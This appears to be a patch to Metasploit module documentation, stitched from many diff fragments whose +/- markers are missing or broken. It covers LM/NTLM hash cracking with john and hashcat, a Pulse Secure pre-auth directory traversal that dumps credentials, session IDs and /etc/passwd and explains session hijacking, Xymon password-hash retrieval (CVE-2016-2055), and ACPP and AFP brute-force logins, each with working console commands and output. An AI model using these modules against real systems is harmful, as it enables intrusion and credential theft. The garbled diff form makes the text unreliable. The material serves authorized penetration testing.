* `NTLM` based passwords
| Common | John | Hashcat |
|--------|----------|---------|
| lanman | lm | 3000 |
| ntlm | nt | 1000 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `ntlm`, or `lanman` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_windows```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**LANMAN**
Crack LANMAN hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**NTLM**
Crack NTLM hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:lm_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:lm2_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:lm2_pot_password ntlm:e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:nt_password ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c jtr:nt
echo "" > /root/.msf4/john.pot
echo "\$LM\$E52CAC67419FAFE2:passwor" >> /root/.msf4/john.pot
echo "\$LM\$FAFE108F3FA6CB6D:d" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-32530-1bqr8cd
[*] Wordlist file written out to /tmp/jtrtmp20190531-32530-1qjwpit
[*] Checking lm hashes already cracked...
[*] Cracking lm hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 17:07) 200.0g/s 585500p/s 585500c/s 1756KC/s TEST3::..T1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
[*] Cracking lm hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 336 candidates buffered for the current salt, minimum 2048 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:00 DONE 2/3 (2019-05-31 17:07) 50.00g/s 1774Kp/s 1774Kc/s 1774KC/s 123456..SEEKER0
Warning: passwords printed above might be partial
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
[*] Cracking lm hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
[*] Cracking lm hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1462 lm lm_password password Single
1463 lm lm2_password password Single
1464 lm lm2_pot_password password Already Cracked/POT
[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 17:07) 100.0g/s 19200p/s 19200c/s 19200C/s test3:::..Password12
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
[*] Cracking nt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[*] Cracking nt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[*] Cracking nt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1462 lm lm_password password Single
1463 lm lm2_password password Single
1464 lm lm2_pot_password password Already Cracked/POT
1465 nt nt_password password Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password password Password
lm_password password Password
lm2_password password Password
nt_password password Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-32645-186ea6l
[*] Wordlist file written out to /tmp/jtrtmp20190531-32645-12pwixd
[*] Checking lm hashes already cracked...
[*] Cracking lm hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking lm hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1470 lm lm_password [notfound]D Incremental
1471 lm lm2_password [notfound]D Incremental
[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking nt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1470 lm lm_password [notfound]D Incremental
1471 lm lm2_password [notfound]D Incremental
1472 nt lm2_pot_password password Wordlist
1473 nt nt_password password Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm_password [notfound]D Password
lm2_password [notfound]D Password
lm_password PASSWORD Password
lm2_password PASSWORD Password
lm_password password Password
lm2_password password Password
lm2_pot_password password Password
nt_password password Password
```
@@ -3,7 +3,7 @@
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Linux
based password hashes, such as:
* `DES` based passwords
* `DES` based passwords
* `MD5` based passwords
* `BSDi` based passwords
* With `crypt` set to `true`:
@@ -52,7 +52,7 @@ msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[+] 127.0.0.1:2404 - Received STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
@@ -77,7 +77,7 @@ msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[+] 127.0.0.1:2404 - Received STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
@@ -97,7 +97,7 @@ msf auxiliary(client/iec104/iec104) > set command_value 5
command_value => 5
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[+] 127.0.0.1:2404 - Received STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
@@ -114,7 +114,7 @@ msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[+] 127.0.0.1:2404 - Received STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
From the `bootparamd(8)` man page:
@@ -1,4 +1,4 @@
## Intro
## Introduction
If you've worked with old Unix systems before, you've probably
encountered NIS (Network Information Service). The most familiar way of
@@ -0,0 +1,101 @@
## Introduction
This module exploits a pre-auth directory traversal in the Pulse Secure
VPN server to dump an arbitrary file. Dumped files are stored in loot.
If the `Automatic` action is set, plaintext and hashed credentials, as
well as session IDs, will be dumped. Valid sessions can be hijacked by
setting the `DSIG` browser cookie to a valid session ID.
For the `Manual` action, please specify a file to dump via the `FILE`
option. `/etc/passwd` will be dumped by default. If the `PRINT` option is
set, file contents will be printed to the screen, with any unprintable
characters replaced by a period.
Please see related module exploit/linux/http/pulse_secure_cmd_exec for
a post-auth exploit that can leverage the results from this module.
## Actions
```
Name Description
---- -----------
Automatic Dump creds and sessions
Manual Dump an arbitrary file (FILE option)
```
## Options
**FILE**
Set this to the file you want to dump. The default is `/etc/passwd`.
Valid only in manual mode.
**PRINT**
Whether to print file contents to the screen. Valid only in manual mode.
## Usage
Dumping creds and sessions in automatic mode:
```
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]
[*] Running in automatic mode
[*] Dumping /data/runtime/mtmp/lmdb/dataa/data.mdb
[+] /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[*] Dumping /data/runtime/mtmp/lmdb/randomVal/data.mdb
[*] Parsing session IDs...
[+] Session ID found: df502e6052d9002d8f02160af8bfd055
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: acbef5625
[+] Session ID found: c145e683a
[+] Session ID found: fc6c097dd
[+] Session ID found: 249b470bd9bd1983f721ca950a74e61c
[+] Session ID found: c145e683a17cfacb72a47eb8b2515c14
[+] Session ID found: a7661751393e16fa253e97bd02dc2a4f
[+] Session ID found: 7e78ab276afea3f00dfa41892c437156c699eff8
[+] /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[*] Dumping /data/runtime/mtmp/system
[+] /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/dataa/data.mdb application/octet-stream Plaintext credentials /Users/wvu/.msf4/loot/20191029221840_default_[redacted]_PulseSecureVPN_273470.mdb
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/lmdb/randomVal/data.mdb application/octet-stream Session IDs /Users/wvu/.msf4/loot/20191029221845_default_[redacted]_PulseSecureVPN_607925.mdb
[redacted] Pulse Secure VPN Arbitrary File Disclosure /data/runtime/mtmp/system application/octet-stream Hashed credentials /Users/wvu/.msf4/loot/20191029221851_default_[redacted]_PulseSecureVPN_530345.bin
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
```
Dumping default `/etc/passwd` in manual mode:
```
msf5 auxiliary(gather/pulse_secure_file_disclosure) > set action Manual
action => Manual
msf5 auxiliary(gather/pulse_secure_file_disclosure) > run
[*] Running module against [redacted]
[*] Running in manual mode
[*] Dumping /etc/passwd
root:x:0:0:root:/:/bin/bash
nfast:x:0:0:nfast:/:/bin/bash
bin:x:1:1:bin:/:
nobody:x:99:99:Nobody:/:
dns:x:98:98:DNS:/:
term:x:97:97:Telnet/SSH:/:
web80:x:96:96:Port 80 web:/:
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
postgres:x:102:102:PostgreSQL User:/:
[+] /Users/wvu/.msf4/loot/20191029222949_default_[redacted]_PulseSecureVPN_073170.bin
[*] Auxiliary module execution completed
msf5 auxiliary(gather/pulse_secure_file_disclosure) >
```
@@ -1,4 +1,4 @@
## Intro
## Introduction
This is going to be a quick rundown of how to use this module to
retrieve the admin hash from a vulnerable QNAP device.
@@ -0,0 +1,79 @@
## Description
This module retrieves information from a Xymon daemon service
(formerly Hobbit, based on Big Brother), including server
configuration information, a list of monitored hosts, and
associated client log for each host.
This module also retrieves usernames and password hashes from
the `xymonpasswd` config file from Xymon servers before 4.3.25,
which permit download arbitrary config files (CVE-2016-2055),
and servers configured with `ALLOWALLCONFIGFILES` enabled.
## Vulnerable Application
[Xymon](http://xymon.sourceforge.net/) is a system for monitoring servers and networks.
Xymon packages are available in software repositories for various Linux distributions :
```
sudo apt-get install xymon
```
Refer to http://xymon.sourceforge.net/xymon/help/install.html for more information.
A Xymon virtual appliance is also available :
* https://sourceforge.net/projects/xymon/files/Xymon/4.3.10/VM/
To expose the `xymonpasswd` file, add the following line to `/etc/xymon/xymonserver.cfg` :
```
ALLOWALLCONFIGFILES="TRUE"
```
And restart the service with : `service xymon restart`.
## Verification Steps
1. Start `msfconsole`
2. Do: `use use auxiliary/gather/xymon_info`
3. Do: `set rhost [IP]`
4. Do: `run`
5. You should receive server and client host information
## Scenarios
```
msf5 > use auxiliary/gather/xymon_info
msf5 auxiliary(gather/xymon_info) > set rhosts 172.16.191.250
rhosts => 172.16.191.250
msf5 auxiliary(gather/xymon_info) > run
[*] Running module against 172.16.191.250
[*] 172.16.191.250:1984 - Xymon daemon version 4.3.28
[*] 172.16.191.250:1984 - Retrieving configuration files ...
[+] 172.16.191.250:1984 - xymonserver.cfg (18347 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_136371.txt
[+] 172.16.191.250:1984 - hosts.cfg (745 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.hos_647070.txt
[+] 172.16.191.250:1984 - xymonpasswd (44 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.config.xym_182226.txt
[+] 172.16.191.250:1984 - Credentials: admin : $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1.
[*] 172.16.191.250:1984 - Retrieving host list ...
[+] 172.16.191.250:1984 - Host info (127 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hostinfo_254799.txt
[+] 172.16.191.250:1984 - Found 3 hosts
[*] 172.16.191.250:1984 - Retrieving client logs ...
[+] 172.16.191.250:1984 - debian-9-6-0-x64-xfce.local client log (87942 bytes) stored in /root/.msf4/loot/20190629235042_default_172.16.191.250_xymon.hosts.debi_671716.txt
[*] 172.16.191.250:1984 - test-host client log is empty
[*] 172.16.191.250:1984 - another-test-host client log is empty
[*] Auxiliary module execution completed
msf5 auxiliary(gather/xymon_info) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
172.16.191.250 172.16.191.250 1984/tcp (xymond) admin $apr1$axRTeLB1$TFmoeLwRnus.Yhr5fJmc1. Nonreplayable hash md5crypt
```
@@ -0,0 +1,28 @@
## Vulnerable Application
ACPP is an undocumented and proprietary Apple protocol found in Airport products which protects the credentials used to administer the device. This module attempts exploit a weak encryption mechanism (fixed XOR key) by brute forcing the password via a dictionary attack or specific password.
More information can be found on the [Rapid7 Vulnerability & Exploit Database page](https://www.rapid7.com/db/modules/auxiliary/scanner/acpp/login)
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/scanner/acpp/login`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### Apple AirPort Extreme 802.11g
```
msf > use auxiliary/scanner/acpp/login
msf auxiliary(scanner/acpp/login) > show options
msf auxiliary(scanner/acpp/login) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
msf auxiliary(scanner/acpp/login) > set PASSWORD myPassword
PASSWORD => myPassword
msf auxiliary(scanner/acpp/login) > run
[*] 1.1.1.1:5009 - 1.1.1.1:5009 - Starting ACPP login sweep
[*] 1.1.1.1:5009 - 1.1.1.1:5009 - ACPP Login Successful: myPassword
```
@@ -0,0 +1,45 @@
## Vulnerable Application
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module attempts to brute force authentication credentials for AFP.
References:
* [AFP_Reference](https://developer.apple.com/library/mac/documentation/Networking/Reference/AFP_Reference/Reference/reference.html)
* [AFP_Security](https://developer.apple.com/library/mac/documentation/networking/conceptual/afp/AFPSecurity/AFPSecurity.html)
### Kali 2019.3 Install Instructions
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
CNID_METAD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
1. Start msfconsole
2. Do: `use modules/auxiliary/scanner/afp/afp_login`
3. Do: `set RHOSTS [ip]`
4. Do: `run`
## Scenarios
### A run on Kali Linux 2019.3 and Netatalk 3.1.12
```
msf > use modules/auxiliary/scanner/afp/afp_login
msf auxiliary(scanner/afp/afp_login) > set USERNAME tuser
msf auxiliary(scanner/afp/afp_login) > set PASSWORD myPassword
msf auxiliary(scanner/afp/afp_login) > set RHOST 172.17.0.2
msf auxiliary(scanner/afp/afp_login) > run
[*] 172.17.0.2:548 - Scanning IP: 172.17.0.2
[*] 172.17.0.2:548 - Login Successful: tuser:myPassword
```
@@ -3,10 +3,11 @@
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
Netatalk is a Linux implementation of AFP.
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
The following was done on Ubuntu 16.04, and is largely based on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
1. `sudo apt-get install netatalk`
2. edit `/etc/default/netatalk` and add the following lines:
```
ATALKD_RUN=no
PAPD_RUN=no
@@ -15,6 +16,7 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
TIMELORD_RUN=no
A2BOOT_RUN=no
```
3. Restart the service: `sudo /etc/init.d/netatalk restart`
## Verification Steps
@@ -22,40 +24,41 @@ The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wo
1. Install and configure afp (or netatalk in a Linux environment)
2. Start msfconsole
3. Do: `auxiliary/scanner/afp/afp_server_info`
4. Do: `run`
4. Do: `set RHOSTS [ip]`
5. Do: `run`
## Scenarios
A run against the configuration from these docs
### Ubuntu 16.04 with Netatalk 2.2.5
```
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/afp/afp_server_info) > run
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
